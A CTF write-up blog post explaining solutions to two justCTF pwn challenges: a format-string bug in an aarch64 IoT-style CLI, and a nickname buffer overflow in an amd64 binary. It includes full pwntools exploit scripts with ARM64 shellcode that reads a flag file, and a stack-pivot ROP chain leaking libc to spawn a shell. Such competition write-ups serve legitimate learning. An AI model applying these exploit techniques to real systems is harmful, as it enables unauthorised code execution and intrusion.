During the weekend, I played this CTF together with my new team idek. We managed to secure 8th spot. Kudos to my team and the organizers for such a high quality CTF challenges. On this post, I’ll explain my solution to the pwn challenges that I managed to solve during the CTF.
Pwn
arm
1
2
3
4
|
This IoT solution will revolutionize the market!
nc arm.nc.jctf.pro 5002
PS: there is a few minutes timeout for every connection.
|
Initial Analysis
We were given a Dockerfile
and a binary file called cli
. Let’s check the given binary first
1
2
3
4
5
6
|
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
|
Oh wow,
- Full RELRO. We can’t overwrite GOT table.
- NX disabled. Stack is executable.
- PIE enabled. That means we will need a leak.
- It’s an
aarch64
file. My laptop use amd architecture, so I won’t be able to run the file directly.
Let’s forget it for a while, and just disassemble the given binary first.
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
undefined8 main(void)
{
int iVar1;
setvbuf(stdin,(char *)0x0,2,0);
iVar1 = setvbuf(stdout,(char *)0x0,2,0);
iVar1 = auth(iVar1);
if (iVar1 == 0) {
puts("Sorry.");
}
else {
cli();
}
return 0;
}
|
So this is the main method, it will call auth
, and if we are authenticated, it will call cli
. Let’s check auth
function.
auth
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
undefined8 auth(void)
{
undefined *puVar1;
int iVar2;
size_t sVar3;
char acStack32 [16];
char acStack16 [16];
puts("Turrbomower 65000FU\n");
printf("login: ");
read_bytes(acStack16,0xf);
printf("password: ");
read_bytes(acStack32,0xf);
puVar1 = user;
sVar3 = strlen(user);
iVar2 = strncmp(acStack16,puVar1,sVar3);
puVar1 = pass;
if (iVar2 == 0) {
sVar3 = strlen(pass);
iVar2 = strncmp(acStack32,puVar1,sVar3);
if (iVar2 == 0) {
return 1;
}
}
return 0;
}
|
Oh well, the user
and pass
is stored lol. We can simply bypass this auth. Let’s move to the cli
method then.
cli
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
void cli(void)
{
int iVar1;
size_t __n;
char cmd [5];
char acStack355 [251];
char echo_input [100];
int local_4;
local_4 = 0;
while( true ) {
printf("> ");
read_bytes(cmd,0x100);
iVar1 = strncmp(cmd,"exit",4);
if (iVar1 == 0) break;
iVar1 = strncmp(cmd,"echo",4);
if ((iVar1 == 0) && (local_4 == 1)) {
__n = strlen(cmd);
strncpy(echo_input,acStack355,__n);
printf(echo_input);
}
else {
iVar1 = strncmp(cmd,"status",6);
if (iVar1 == 0) {
system("uptime");
}
else {
iVar1 = strncmp(cmd,"mode",4);
if (iVar1 == 0) {
iVar1 = strncmp(acStack355,"advanced",8);
if (iVar1 == 0) {
local_4 = 1;
puts("advanced mode enabled\n");
}
else {
puts("unknown mode");
}
}
else if (local_4 == 0) {
puts("status - prints device status\nexit - end cli session");
}
else {
puts(
"status - prints device status\necho <string> - prints <string>\nexit - end cli sessio n"
);
}
}
}
memset(cmd,0,0x100);
}
return;
}
|
Ah okay, we can notice that there is format string vuln in the echo
feature. Also notes that to be able to use echo
feature, we need to activated advanced
mode first, which is simply send command mode advanced
to the server, and no we are able to use the echo
feature. Also another thing is it has its own read function called read_bytes
. Let’s take a look on it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
void read_bytes(char *param_1,int param_2)
{
char *local_18;
int local_4;
local_4 = 0;
for (local_18 = param_1;
(((local_4 != param_2 && (read(0,local_18,1), *local_18 != '\n')) && (*local_18 != '\0')) &&
(((*local_18 != '\x1b' && (*local_18 != '\xa8')) && (*local_18 != '\x13'))));
local_18 = local_18 + 1) {
local_4 = local_4 + 1;
}
return;
}
|
Ah, so basically it will read our input one-by-one per char, and if it is one of the fourth terminating character, it’ll stop reading our input.
As we already understand how the binary works, now, let’s check the dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# on host: docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
FROM arm64v8/ubuntu
ENV DEBIAN_FRONTEND=noninteractive
#RUN apt update && apt install gcc gdb git -yy
#RUN git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
#RUN pip3 install pwn
RUN apt update && apt install socat gcc -yy
RUN mkdir /pwn
COPY cli /pwn/cli
#COPY cli.c /pwn/cli.c
#RUN gcc -D_FORTIFY_SOURCE=2 -fno-stack-protector -zexecstack -o /pwn/cli /pwn/cli.c && rm /pwn/cli.c
COPY flag.txt /pwn/flag.txt
COPY run.sh /pwn/run.sh
RUN groupadd ctf && \
useradd -G ctf --home=/pwn pwn
# Helper/fixer for socat issues
COPY socat-sigpipe-fixup /pwn/socat-sigpipe-fixup
RUN chmod 111 /pwn/socat-sigpipe-fixup && \
chmod 700 /pwn/run.sh
CMD "/pwn/run.sh"
|
Okay, so there is a flag file in directory /pwn/flag.txt
. We will need to read that file.
How to run the file
Thanks to this amazing article here and here, I can setup the emulator pretty well! What I do:
- Install the necessary library. I use qemu emulator
- Download libc 2.34 for arm architecture (I know the libc version because after installing the necessary library, I failed to run it, and the error said I need glibc 2.34)
- Patch the binary with the downloaded libc and ld using
pwninit
.
And after doing those things, I finally can use qemu to run the binary, and using gdb-multiarch to debug it.
Exploitation Plan
Well, because NX is disabled, my final goal will be using the format string bug to put shellcode in the stack, and then pivot the stack so that it’ll return to my shellcode.
However, this is an arm
binary, which is this is my first time seeing an arm
binary. So, what I do is learning some basic arm
instruction and general concept on how does it run.
Basic info about arm64 binary
Reading through the previous mentioned articles and this article from perfect blue team helps me a lot on understanding how an arm64 instructions works.
First, let’s talk about the available registers. It has 31 main registers, ranging from x0
to x30
. x29
is used to store the function frame pointer, while x30
is used to store the function return address.
Because we want to abuse format string vuln, we need to learn also on how arm64 handled function arguments. The answer is it will use x0
- x7
as its args first, and will use the stack for the remaining args.
Last, one of the unique thing that we need to know is, in arm64, when we call a function (via bl
instruction), it will store the return address in x30
first. And then, the called function will preserve these values on top of the stack ([sp]
and [sp+8]
). So, this is difference with what x86_64 do, where it preserves those values on the bottom of the stack. See below example to see the usual setup of arm64 function.
1
2
|
00100bd0 fd 7b a7 a9 stp x29,x30,[sp, #-400]!
00100bd4 fd 03 00 91 mov x29,sp
|
In the start of the function, it will subtract the current sp
by 400, and then preserve the caller frame pointer (x29
) and the return address (x30
) to the top of the function stack. And then it will store the the new sp
value in x29
. Let see how ret does in arm64
1
2
|
0x4000000d50 <cli+384> ldp x29, x30, [sp], #400
0x4000000d54 <cli+388> ret
|
It will restore the preserved frame pointer and return address from the stack back to x29
and x30
, and then update sp
value back to the caller function stack (sp-400
). And then ret
won’t pop a stack like x86_64, instead, it will jump to the value in x30
register.
Rough Plan
What we have gathered so far:
- The frame pointer and saved return address is stored in the top of the stack (which means we can access it with the format string bug)
- We can do the format string attack infinite times, as there is no limitation
- NX is disabled, so we can store shellcode in the stack
Now it is clear, that my detailed plan:
- Leak main frame pointer with
echo %8$p
. We use 8 to get the top of the stack because in arm64, 1st - 7th param will be taken from the register (x1
- x7
).
- After leaking it, set our target shellcode location. I choose to put it in the
leaked_value - 0x3f0
- And then, we put the shellcode per byte with format string bug. Rough payload will be
echo %{shellcode_bytecode}c%16$hhn{padding}{shellcode_address}
. The detailed can be found later
- And then, for the final step, we overwrite the preserved return address (
[sp+8]
) with the shellcode_address, so that when we exit from the cli
function, it will jump to our shellcode inside the stack.
Solution
So, based on that plan, we need to craft our shellcode first. Notes that there are some restricted char, so make sure that our shellcode doesn’t contain the restricted char. Based on trial and error, we can’t use execve
syscall because it contains \x1b
. One of my teammate suggest me to directly open-read-write the flag (kudos to Ka3l). Looking for the existing shellcode in google, I found a good shellcode, and modify it a little bit. And the shellcode doesn’t contain any restricted characters, so it should be fine.
Below is the full script that I used to solve the problem:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
|
from pwn import *
context.arch = 'aarch64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
# source: https://www.exploit-db.com/exploits/47053
shellcode = asm(
"""
// open "/pwn/flag.txt"
mov x0, xzr
mov x1, #0x2e67
movk x1, #0x7874, lsl #16
movk x1, #0x74, lsl #32
str x1, [sp, #-8]!
mov x1, #0x702f
movk x1, #0x6e77, lsl #16
movk x1, #0x662f, lsl #32
movk x1, #0x616c, lsl #48
str x1, [sp, #-8]!
add x1, sp, x0
mov x2, xzr
mov x8, #56
svc #0x1337
mvn x3, x0
// read(fd, *buf, size)
mov x2, #0xfff
sub sp, sp, x2
mov x8, xzr
add x1, sp, x8
mov x8, #63
svc #0x1337
// write(1, *buf, size)
str x0, [sp, #-8]!
lsr x0, x2, #11
ldr x2, [sp], #8
mov x8, #64
svc #0x1337
"""
)
def conn():
if args.LOCAL:
r = process(['qemu-aarch64', './cli_patched'], env={})
if args.PLT_DEBUG:
r = process(['qemu-aarch64','-g', '9000', './cli_patched'], env={})
else:
r = remote('arm.nc.jctf.pro', 5002)
return r
r = conn()
# Login (credential retrieved from the binary in .data section)
r.sendlineafter(b'login: ', b'admin')
r.sendlineafter(b'password: ', b'admin1')
# Activate mode advanced, so that we can use echo
r.sendlineafter(b'> ', b'mode advanced')
# Leak main frame pointer
r.sendlineafter(b'> ', b'echo %8$p')
main_x29 = int(r.recvline().strip(), 16)
# Set any stack address to put our shellcode
shellcode_stack_addr = main_x29 - 0x3f0
log.info(f'Shellcode stack address: {hex(shellcode_stack_addr)}')
# Put it in stack per byte
for i in range(0, len(shellcode)):
value = shellcode[i]
target = p64(shellcode_stack_addr+i)
if value == 0:
f'echo %15$hhnaaaa'.encode()+target
else:
payload = f'echo %{value}c%16$hhn'.encode()
payload += b'a'*(24-len(payload)) # pad so that payload is 8-bytes aligned
payload += target
# Make sure that payload is bypassing the restriction
if b'\n' in payload or b'\x1b' in payload or b'\x13' in payload or b'\xa8' in payload:
log.info(f'Invalid payload')
exit()
log.info('-----')
log.info(f'Payload: {payload}')
r.sendlineafter(b'> ', payload)
log.info(f'Finished setting up shellcode...')
# The preserved saved return pointer
x30_ret_addr = main_x29-400+8
log.info(f'Main x30 (Return address): {hex(x30_ret_addr)}')
# I don't know why, but somehow I can't overwrite x30_ret_addr+0 directly
# So, during sending my exploit in remote, I overwrite the preserved saved return
# address to our shellcode in stack with this order:
# - x30_ret_addr+1: Overwrite 1 byte
# - x30_ret_addr+2: Overwrite 1 byte
# - x30_ret_addr+3: Overwrite 1 byte
# - x30_ret_addr+4: Overwrite 1 byte
# - x30_ret_addr-1: Overwrite 2 byte, so that x30_ret_addr+0 will be overwritten
for i, byt in enumerate(p64(shellcode_stack_addr)[:5]):
if i == 0:
continue
print('i', i, hex(byt))
payload = f'echo %{byt}c%16$hhn'.encode()
payload += b'a'*(24 - len(payload))
payload += p64(x30_ret_addr+i)
log.info(f'Payload: {payload}')
r.sendlineafter(b'> ', payload)
payload = f'echo %{p64(shellcode_stack_addr)[0] << 8}c%16$hn'.encode()
payload += b'a'*(24 - len(payload))
payload += p64(x30_ret_addr-1)
print(f'Payload: {payload}', len(payload))
r.sendlineafter(b'> ', payload)
# Now, exit from cli function. And then it will return to our shellcode
r.sendlineafter(b'> ', b'exit')
r.interactive()
|
Result
Flag: justCTF{pwn_the_lawn!1}
Skilltest
1
2
3
|
Test your skills in a random competition.
nc skilltest.nc.jctf.pro 1337
|
Initial Analysis
We were given a binary file. Let’s try to checksec it first
1
2
3
4
5
6
|
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
|
Okay, No PIE and Full RELRO.
Now, let’s try to disassemble it (Notes that I’ve renamed some of the function to understand it better).
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
undefined8 main(void)
{
undefined rand_struct [48];
setup_mprotect();
print_custom("Welcome to skilltest v12!\n");
memset(rand_struct,0,0x30);
rand_func((astruct *)rand_struct);
main_loop((astruct_1 *)(rand_struct + 0x18));
check_win((astruct_2 *)rand_struct);
unsetup_mprotect();
return 0;
}
|
This is the main function, seems like no vuln in here.
print_custom
1
2
3
4
5
6
7
8
9
|
void print_custom(char *param_1)
{
size_t __n;
__n = strlen(param_1);
write(1,param_1,__n);
return;
}
|
This will print given string.
rand_func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
void rand_func(astruct *a_struct)
{
int iVar1;
int iVar2;
time_t tVar3;
size_t sVar4;
ulong idx;
ulong jdx;
tVar3 = time((time_t *)0x0);
srand((uint)tVar3);
iVar1 = rand();
iVar2 = rand();
a_struct->field0_0x0 = "Amelie" + (long)(iVar1 % 10) * 0x20;
a_struct->field1_0x8 = "Black" + (long)(iVar2 % 5) * 0x60;
a_struct->field2_0x10 = 0;
jdx = 0;
while( true ) {
sVar4 = strlen(a_struct->field0_0x0);
if (sVar4 <= jdx) break;
a_struct->field2_0x10 = a_struct->field2_0x10 + (int)a_struct->field0_0x0[jdx];
a_struct->field2_0x10 = a_struct->field2_0x10 % 0x1e;
jdx = jdx + 1;
}
idx = 0;
while( true ) {
sVar4 = strlen(a_struct->field1_0x8);
if (sVar4 <= idx) break;
a_struct->field2_0x10 = a_struct->field2_0x10 + (int)a_struct->field1_0x8[idx];
a_struct->field2_0x10 = a_struct->field2_0x10 % 0x1e;
idx = idx + 1;
}
return;
}
|
So far, there isn’t any bug in here.
main_loop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
void main_loop(astruct_1 *input_struct)
{
ssize_t sVar1;
char *_res;
size_t sVar2;
char *nickname;
void *clan_tag;
ulong jdx;
ulong idx;
clan_tag = malloc(size_0x60);
memset(&nickname,0,size_0x20);
memset(clan_tag,0,size_0x60);
while( true ) {
while( true ) {
print_custom("Nick: ");
sVar1 = read(0,&nickname,size_0x60);
if (0 < sVar1) break;
print_custom("Invalid name, try again\n");
}
print_custom("Clan tag: ");
sVar1 = read(0,clan_tag,size_0x60);
if (0 < sVar1) break;
print_custom("Invalid color, try again\n");
}
_res = (char *)FUN_00401389(&nickname);
_res = strdup(_res);
input_struct->nick_name = _res;
_res = (char *)FUN_00401389(clan_tag);
input_struct->clan_tag = _res;
input_struct->score = 0;
idx = 0;
while (sVar2 = strlen(input_struct->nick_name), idx < sVar2) {
input_struct->score = input_struct->score + (int)input_struct->nick_name[idx];
input_struct->score = input_struct->score % 0x1e;
idx = idx + 1;
}
jdx = 0;
while (sVar2 = strlen(input_struct->clan_tag), jdx < sVar2) {
input_struct->score = input_struct->score + (int)input_struct->clan_tag[jdx];
input_struct->score = input_struct->score % 0x1e;
jdx = jdx + 1;
}
print_custom("Thanks\n");
return;
}
|
At first, I didn’t notice a bug in here. But one of my teammate (kudos to pivik, also pivik is the one who solve this chall and submit the flag first xD. But I decided to finish my solver script for the sake of learning and experience) said that there is a buffer overflow bug during inputting our nickname. I just realized that the nickname size is 0x20, but we can input up to 0x60. This will allow us to:
- Overwrite the
clan_tag
pointer
- Overwrite the function
rbp
- Overwrite the function return address
I checked the other function, and seems like there isn’t any bug. And I think this buffer overflow bug is enough for us to perform our exploitation.
Exploitation Plan
Using the above bug that we found, checking the memory mapping during running the binary, we can see that there is a static writeable region in offset 0x3fe000 - 0x400000.
1
2
3
4
|
gef⤠vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x000000003fe000 0x00000000400000 0x00000000000000 rw-
|
So, based on that, my rough plan is:
- Pivot the stack to that region
- Overwrite the return address to its ownself, so that I can fill the new stack with my desired input
- Fill stack with my desired input, so that I can ROP it to leak libc, and then go back to the main_loop
- And after leaking libc, ROP to
execve
that we found with one_gadget
. Notes that the one_gadget
address that I used required r12 and r15 to be null, so I emptied it first with gadget that I found in the given libc.
Solution
Notes that during executing my plan, there are a lot of constraint and ad-hoc things that I need to do. I’ve tried to add comments to my script to explain how did I pivot and ROP it, so that I can get a shell. You can read the comments in my script
Below is the full script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
|
from pwn import *
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
exe = ELF("./skilltest_patched")
libc = ELF("./libc-2.34.so")
context.binary = exe
r = remote(b'skilltest.nc.jctf.pro', 1337)
# r = process([exe.path])
# gdb.attach(r, gdbscript='''
# b *0x00000000004014a0
# b *0x00000000004014e0
# b *0x00401643
# ''')
'''Preparation'''
write_got = exe.got['write'] # We will leak the write libc address later
pop_rdi = 0x00000000004018dc # pop rdi ; nop ; leave ; ret
main_loop = 0x40147b # Main loop address (directly to instruction that ask "Nick: " input)
main_loop_sub_rsp = 0x40142a # Main loop address (directly to instruction sub rsp, 0x50)
write_custom = 0x004013ef # Write method defined in the binary (print_custom)
w_addr = 0x3fe800 # Static writeable region found via vmmap. I decided to use this address, but I believe you can choose any address.
'''
Constraint that we need to fulfill during each ROP to the main loop:
- Everytime we loop to the main and pivot our rbp, rbp-0x48 must be in writeable region,
because it will be used to store the strdup result
'''
'''First Loop'''
# The goal for this is to pivot RBP for our next main loop call to the static writeable region (w_addr)
second_rbp = w_addr
payload = b'a'*0x28
# Overwrite clan_tag address to second_rbp-0x48, so that we can ensure
# second_rbp-0x48 is in writeable region for our next main loop
# (By filling the clan_tag with the writeable address)
payload += p64(second_rbp-0x48)
payload += b'a'*0x10
payload += p64(second_rbp) # Overwrite rbp to second_rbp
payload += p64(main_loop) # Overwrite saved return address, so that it return to main loop again
r.sendlineafter(b"Nick: ", payload)
r.sendlineafter(b"Clan tag: ", p64(w_addr-0x300)) # Fill rbp-0x48 (which is now our clan_tag) to a writeable region
'''Second Loop'''
# Now, our goal is to leak libc address of write. The plan
# - Overwrite clan_tag address to writeable region
# - Pivot RBP to the new clan_tag address
# - Fill clan_tag with our desired ROP, as we will ROP it to clan_tag later
intermediate_rbp = w_addr-0x60 # Can be any address
payload = b'a'*0x28
payload += p64(intermediate_rbp) # Overwrite clan_tag address to writeable region
payload += b'a'*0x10
payload += p64(intermediate_rbp) # RBP pivot to our clan tag input
# Payload for our ROP (this will overwrite the second loop return address).
# - Pop write_got to rdi. Because it is pop -> leave -> ret, after leave,
# rsp will point to clan_tag+8, rbp point to clan_tag
payload += p64(pop_rdi) + p64(write_got)
r.sendlineafter(b"Nick: ", payload)
# Notes that after previous leave, rsp will point to here (tag_payload+8). So, we can continue our ROP in here
# What this payload do:
# - Set new rbp (because write_custom method will call leave->ret again).
# RBP can be any address
# - Ret to our write custom (Now, we got libc leak)
# - Return to main loop (Directly to sub rsp, 0x50 in main_loop instruction)
third_rbp = w_addr-0x50 # Can be any address
tag_payload = p64(w_addr-0x50) + p64(write_custom) + p64(main_loop_sub_rsp)
r.sendlineafter(b"Clan tag: ", tag_payload)
# ROP is executed, and we got our leaked libc
r.recvline()
leaked_write = u64(r.recvn(6).ljust(8, b'\x00'))
print(f'Leaked write: {hex(leaked_write)}')
libc.base = leaked_write - libc.symbols['write']
print(f'Libc base: {hex(libc.base)}')
'''Third Loop'''
# Now, with one_gadget, we will gain shell with constraint r12 & r15 must be null
pop_r12 = libc.base + 0x0000000000035761 # pop r12; ret
pop_r15 = libc.base + 0x000000000002a6c4 # pop r15; ret
execve_addr = libc.base + 0xeacec # Constraints: r12 == null, r15 == null
# Final payload. Our goal:
# - Overwrite clan_tag address to rbp-0x48, which we will fill with writeable region address later
# - Overwrite RBP, so that during our ROP, it will point to this payload.
# - Overwrite return address with pop rdi; leave; ret; So that it rsp will point to our starting payload
payload = p64(pop_r12)+p64(0)+p64(pop_r15)+p64(0)+p64(execve_addr) # We will ROP to here later
payload += p64(third_rbp-0x48) # Overwrite clan_tag address to rbp-0x48, to fulfill strdup constraint
payload += b'a'*0x10
payload += p64(third_rbp-0x48) # RBP Pivot to this payload, so that RSP will be curr_rbp-0x40 (point to our starting payload)
payload += p64(pop_rdi) + p64(0) # Pop rdi; leave; ret. After leave, rbp will point to third_rbp-0x48, and rsp point to third_rbp-0x40, which is our starting payload (pop_r12), and continue to shell
r.sendlineafter(b"Nick: ", payload)
tag_payload = p64(w_addr-0x300) # Clan_tag address is rbp-0x48, so fill it with writeable region for strdup purposes
r.sendafter(b"Clan tag: ", tag_payload)
r.interactive()
|
Result
Flag: justCTF{15_1t_5k1ll_0r_pur3_luck?}
Follow me on twitter